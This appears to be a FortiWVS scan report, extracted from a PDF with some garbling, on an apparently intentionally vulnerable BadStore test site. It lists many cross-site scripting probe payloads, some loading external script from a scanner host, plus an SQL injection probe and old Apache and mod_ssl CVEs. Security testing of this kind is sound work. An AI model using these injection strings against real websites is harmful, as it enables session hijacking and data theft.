Web Vulnerability Scan Report Report Name: wvs report Generated by: FortiWVS Scan Summary Target 172.21.0.210 Server OpenSSL/0.9.7c Scan Start Time Thu Aug 21 03:33:49 2014 Scan End Time Thu Aug 21 03:34:41 2014 Scan Mode Enhanced Mode Scan For Common Vulnerability, Cross-Site Scripting, SQL Injection, Source Disclosure, OS Commands Total s and Forms Found Total External Hyperlinks Total Alerts Found 23 (7 Pages/Applications, 9 s with Inputs) 10 (8 email links) 30 Alert Summary Alerts Found By High 24 Medium 3 Low 0 Information 3 By Category Common Vulnerability 5 Cross-Site Scripting 24 SQL Injection 1 Source Disclosure 0 Affected Pages/Applications 1 ----/--/--.1.
Cross-Site Scripting (24) High test<script>alert(521125438234)</ script> High test>"><script%20%0a%0d>alert(5211 25438234)%3B</ScRiPt> High test</textarea><script%20%0a%0d>ale rt(521125438234)%3b</script> ----/--/--.2.
High test<script+src=http://www.testfort iweb.com/xss.js?521125438234></scri Pt> High test<body+onload=alert(52112543823 4)> High test<iframe/+/onload=alert(5211254 38234)></iframe> ----/--/--.3.
High test<img+src=http://www.testfortiwe b.com/dot.gif+onload=alert(5211254 38234)> High comments=wvstest<script>alert(5211 25438234)</script>&email=wvstest&n ame=wvstest 2014 11:33:59 GMTServer: High comments=wvstest<img+src=http://www.testfortiweb.com/dot.gif+onload=al ert(521125438234)>&email=wvstest& name=wvstest 2014 11:34:00 GMTServer: ----/--/--.4.
High comments=wvstest&email=wvstest<scri pt>alert(521125438234)</script>&n ame=wvstest 2014 11:34:00 GMTServer: 2014 a High comments=wvstest&email=wvstest<scri pt/xss+src=http://www.testfortiweb. com/xss.js?521125438234></script>&n ame=wvstest 2014 11:34:01 GMTServer: High comments=wvstest&email=wvstest<img+ src=http://www.testfortiweb.com/dot.gif+onload=alert(521125438234)>& name=wvstest 2014 11:34:01 GMTServer: ----/--/--.5.
High comments=wvstest&email=wvstest&name =wvstest<script>alert(521125438234 na!
comments=wvstest&email=wvstest&name =wvstest<iframe/+/onload=alert(521 125438234)></iframe> 2014 11:34:02 GMTServer: High comments=wvstest&email=wvstest&name =wvstest<img+src=http://www.testfor tiweb.com/dot.gif+onload=alert(521 125438234)> 2014 11:34:02 GMTServer: High stest<script>alert(521125438234)< /script>&pwdhint=yellow High ----/--/--.7.
stest>"><script%20%0a%0d>alert(521 125438234)%3B</ScRiPt>&pwdhint=yel low High stest</textarea><script%20%0a%0d>al ert(521125438234)%3b</script>&pwd hint=yellow High stest<script+src=http://www.testfor tiweb.com/xss.js?521125438234></scr ipt>&pwdhint=yellow CLR 3 ----/--/--.8.
High stest<body+onload=alert(5211254382 34)>&pwdhint=yellow High stest<iframe/+/onload=alert(521125 438234)></iframe>&pwdhint=yellow High stest<img+src=http://www.testfortiw eb.com/dot.gif+onload=alert(521125 438234)>&pwdhint=yellow be o ----/--/--.9.
SQL Injection (1) Vulnerability Possible SQL Injection Medium e.cgi?action=cartadd Add Items to Cart=Add+Items+to+Cart&cartitem=101 4%27+and+%2798765%27%3D%2718764 2014 11:34:23 GMTServer: OpenSSL/0.9.7cTransfer-Encoding: Ñ ----/--/--.10.
Medium (2) Description Description Common Vulnerability (Web Server Known Issue) Medium Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542. Common Vulnerability (Web Server Known Issue) Medium "mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082 ----/--/--.11.
Information (3) Description Description Description Common Vulnerability (Server/Component Outdated) Information The running Apache version is 1.3.28, which appears to be outdated (the current version is at least 2.2.19) Common Vulnerability (Server/Component Outdated) Information The running mod_ssl version is 2.8.15, which appears to be outdated (the current version is at least 2.8.31) Common Vulnerability (Web Server Setting) Information Allow HTTP method 'TRACE': 'TRACE' is typically only used for debugging and should be disabled. This message does not mean it is vulnerable to Cross-Site Tracing(XST). ----/--/--.12.
Web Server Information Target 172.21.0.210 Server OpenSSL/0.9.7c HTTP Version 1.1 Total s and Forms Found Total External Hyperlinks 23 (7 Pages/Applications, 9 s with Inputs) 10 (8 email links) s/pages Found 1 / 2 /BadStore_net_v1_2_Manual.pdf 3 /DoingBusiness/contract.doc 4 /Procedures/UploadProc.html 5 6 /cgi-bin/bsheader.cgi 7 /scanbot/scanbot.html s That Have Input 1 /, action searchquery 2, action 3, action searchquery 4, Add Items to Cart cartitem 5, comments email name 6, DoMods email pwdhint 7, Login email passwd 8, Register email fullname passwd pwdh int role 9, Upload newfilename uploaded_file External Links 1 http://4.bp.blogspot.com/-hjq-jvge6 gi/tv9e6hlqkvi/aaaaaaaably/wbgd2pio 8hY/s320/XSS+defacing+tutorials.gif 2 http://www.badstore.net/scanbot/det h2botz.html 3 mailto: 4 mailto:aaaa 5 mailto:billg@microsoft.com 6 mailto:dsad 7 mailto:joe@microsoft.com 8 mailto:jqp@whitehouse.gov 9 mailto:s8n@haxor.com 10 mailto:spam@badstore.net ----/--/--.13.